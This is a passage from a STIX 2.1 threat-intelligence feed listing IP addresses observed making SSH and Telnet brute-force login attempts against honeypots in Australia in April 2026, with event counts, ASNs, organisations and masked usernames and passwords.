      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--979b1918-825e-40d3-9cbe-50105e1151d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T05:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.222.177.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T05:15:15.000Z",
      "valid_until": "2026-05-09T05:15:08.000Z"
    },
    {
      "created": "2026-04-07T05:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--5e0448c9-ca5c-446d-aea1-091979e4454d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T05:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '98.80.4.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T05:15:15.000Z",
      "valid_until": "2026-05-09T05:15:08.000Z"
    },
    {
      "created": "2026-04-07T06:17:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 131602. Organisation(s): Hsin Yeong An Cable TV Co., Ltd..",
      "id": "indicator--f94e3c98-fe0a-4e7a-b014-ae42f52110c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T06:17:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '106.105.209.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T06:17:03.000Z",
      "valid_until": "2026-05-09T06:15:08.000Z"
    },
    {
      "created": "2026-04-07T06:17:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G***********************1, U****************************1. Passwords observed (masked): C***************e, H**********************3.",
      "id": "indicator--564db6b5-074d-4c3a-883d-fc4a62aa38a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T06:17:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '134.209.231.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T06:17:03.000Z",
      "valid_until": "2026-05-09T06:15:08.000Z"
    },
    {
      "created": "2026-04-07T06:17:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--cb9a877a-4c0e-4c8e-9638-0f05f6c9a1ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T06:17:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.86.250.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T06:17:03.000Z",
      "valid_until": "2026-05-09T06:15:08.000Z"
    },
    {
      "created": "2026-04-07T06:17:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--0ee436c4-cccf-48e5-b5f7-7a6d4e4f76ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T06:17:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T06:17:03.000Z",
      "valid_until": "2026-05-09T06:15:08.000Z"
    },
    {
      "created": "2026-04-07T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138144. Organisation(s): Institut Agama Islam Negeri Kediri. Usernames observed (masked): s****l. Passwords observed (masked): s****l.",
      "id": "indicator--2a75977e-877d-4d0c-a45a-c69acb955cc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.134.17.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T07:15:10.000Z",
      "valid_until": "2026-05-09T07:15:08.000Z"
    },
    {
      "created": "2026-04-07T07:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--8c46a5bc-676d-4ff3-b75f-f8fa7c142dca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '112.123.107.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T07:15:10.000Z",
      "valid_until": "2026-05-09T07:15:08.000Z"
    },
    {
      "created": "2026-04-07T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, c****g, g***t, s***d. Passwords observed (masked): 1**4, a***n, 1****6, c****g, g***t.",
      "id": "indicator--6e70b77b-4cef-44e6-8051-f8c874019948",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.99.172.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T07:15:10.000Z",
      "valid_until": "2026-05-09T07:15:08.000Z"
    },
    {
      "created": "2026-04-07T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--7b51d1e4-e0d6-4cae-a0fc-59ed16249437",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T07:15:10.000Z",
      "valid_until": "2026-05-09T07:15:08.000Z"
    },
    {
      "created": "2026-04-07T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TN. ASN(s): 327934. Organisation(s): Tunisie-Telecom. Usernames observed (masked): r**t, 3**********4, u****u. Passwords observed (masked): 1******A, 2*******r, 3***********4, 3**********4, Q**********!.",
      "id": "indicator--52bff357-173e-42a5-9855-23f25ff39d35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '197.5.145.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T07:15:10.000Z",
      "valid_until": "2026-05-09T07:15:08.000Z"
    },
    {
      "created": "2026-04-07T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 68. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, i*******r, s**c, s****m. Passwords observed (masked): 0**************D, *, O************Z, a******4, a*******3.",
      "id": "indicator--66ba40b3-bedb-48f7-b93a-0a6965c7aa15",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.47.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T07:15:10.000Z",
      "valid_until": "2026-05-09T07:15:08.000Z"
    },
    {
      "created": "2026-04-07T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 499. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, c***o, m*****r, *****. Passwords observed (masked): 1***5, a***n, P******d, *****, 0*************7.",
      "id": "indicator--d4a6d136-beb9-4609-a409-03fdffca6fc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.5.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T07:15:10.000Z",
      "valid_until": "2026-05-09T07:15:08.000Z"
    },
    {
      "created": "2026-04-07T07:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 368. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, t**t, 1****6, ***. Passwords observed (masked): 1****6, p******d, *, 1**1, 1****3.",
      "id": "indicator--297b2dbf-8811-4dfd-8669-5191a2202434",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T07:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.6.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T07:15:10.000Z",
      "valid_until": "2026-05-09T07:15:08.000Z"
    },
    {
      "created": "2026-04-07T08:16:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3bbf8895-daa0-4986-ada0-b5ee330541ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T08:16:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '113.62.174.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T08:16:09.000Z",
      "valid_until": "2026-05-09T08:15:08.000Z"
    },
    {
      "created": "2026-04-07T08:16:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 292. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, o**o, 3**********4, p******s, s*****e. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1***5, 1*******5.",
      "id": "indicator--0f8e03e8-c739-455e-a8d2-708e76b0cd33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T08:16:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '211.105.129.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T08:16:09.000Z",
      "valid_until": "2026-05-09T08:15:08.000Z"
    },
    {
      "created": "2026-04-07T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--7b144de3-afe2-45a8-9905-05b62907ec61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '110.249.63.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T09:15:11.000Z",
      "valid_until": "2026-05-09T09:15:09.000Z"
    },
    {
      "created": "2026-04-07T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--18f6c28e-e4b0-4b08-88cb-be5c7a24157a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '157.245.215.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T09:15:11.000Z",
      "valid_until": "2026-05-09T09:15:09.000Z"
    },
    {
      "created": "2026-04-07T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--4342f417-5b97-434c-9414-1cc23c1f5724",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T09:15:11.000Z",
      "valid_until": "2026-05-09T09:15:09.000Z"
    },
    {
      "created": "2026-04-07T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--17f0557e-2305-4677-929d-05b8df41024a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.60.241.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T09:15:11.000Z",
      "valid_until": "2026-05-09T09:15:09.000Z"
    },
    {
      "created": "2026-04-07T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--7d9dba6b-cbcf-48a2-a454-785277d3d108",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T09:15:11.000Z",
      "valid_until": "2026-05-09T09:15:09.000Z"
    },
    {
      "created": "2026-04-07T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--e69ab539-bf9c-45d1-844b-4fd32cfd6dd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T09:15:11.000Z",
      "valid_until": "2026-05-09T09:15:09.000Z"
    },
    {
      "created": "2026-04-07T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--7644da41-1837-4bc1-bf91-46773db7cc68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T09:15:11.000Z",
      "valid_until": "2026-05-09T09:15:09.000Z"
    },
    {
      "created": "2026-04-07T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--eea3be4f-5c79-4dd5-9b24-6a6e6243516d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.105.108.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T09:15:11.000Z",
      "valid_until": "2026-05-09T09:15:09.000Z"
    },
    {
      "created": "2026-04-07T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 215439. Organisation(s): Play2go International Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--83d525d2-42eb-4a38-8fae-33022a9b9b86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '2.26.99.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T10:15:10.000Z",
      "valid_until": "2026-05-09T10:15:08.000Z"
    },
    {
      "created": "2026-04-07T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--3207b0ba-c14b-412b-91d9-17284afedeeb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.135.161.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T10:15:10.000Z",
      "valid_until": "2026-05-09T10:15:08.000Z"
    },
    {
      "created": "2026-04-07T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1450. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): r**t, d****y, u**r, f*****r, u****u. Passwords observed (masked): 1****6, ***, 1**4, 1******8, P******d.",
      "id": "indicator--496a2afe-33e6-4fad-a883-1c6206f6023c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.237.38.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T11:15:10.000Z",
      "valid_until": "2026-05-09T11:15:08.000Z"
    },
    {
      "created": "2026-04-07T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--62cc088e-a365-47e0-96c5-05950e06dbaa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T11:15:10.000Z",
      "valid_until": "2026-05-09T11:15:08.000Z"
    },
    {
      "created": "2026-04-07T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--72a3f9e5-edcd-4a86-8316-edb79bcefc54",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.135.161.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T11:15:10.000Z",
      "valid_until": "2026-05-09T11:15:08.000Z"
    },
    {
      "created": "2026-04-07T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 72. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6, b******************************'. Passwords observed (masked): , **, A*******************p, C********9, H**********************3.",
      "id": "indicator--4a4b3b46-d9b3-4fef-a696-f16bea30008c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.78.193.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T11:15:10.000Z",
      "valid_until": "2026-05-09T11:15:08.000Z"
    },
    {
      "created": "2026-04-07T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--7bab55c5-e3d6-4f1b-a469-1d6e34fe83a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '39.74.212.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T11:15:10.000Z",
      "valid_until": "2026-05-09T11:15:08.000Z"
    },
    {
      "created": "2026-04-07T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--166cdb64-6912-457b-bced-6f9a016dc017",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.245.91.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T11:15:10.000Z",
      "valid_until": "2026-05-09T11:15:08.000Z"
    },
    {
      "created": "2026-04-07T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 151858. Organisation(s): INTERDIGI JOINT STOCK COMPANY. Usernames observed (masked): r**t, t**t, 3**********4, ***, c***a. Passwords observed (masked): !********), 1*******r, 3***********4, 3**********4, F******7.",
      "id": "indicator--656117c3-eade-43ca-8e6a-7d8044318daa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '157.10.52.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T12:15:10.000Z",
      "valid_until": "2026-05-09T12:15:08.000Z"
    },
    {
      "created": "2026-04-07T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: BG. ASN(s): 48090. Organisation(s): Techoff Srv Limited. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--a71551c8-c6d1-4a93-ae50-2cdd5e75a482",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '195.178.110.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T12:15:10.000Z",
      "valid_until": "2026-05-09T12:15:08.000Z"
    },
    {
      "created": "2026-04-07T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C*******1, H**********************3.",
      "id": "indicator--a675dc87-6fe2-41f6-b5d4-62fd3c2985f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-07T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.77.234.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T12:15:10.000Z",
      "valid_until": "2026-05-09T12:15:08.000Z"
    },
    {
      "created": "2026-04-07T12:15:10.000Z",
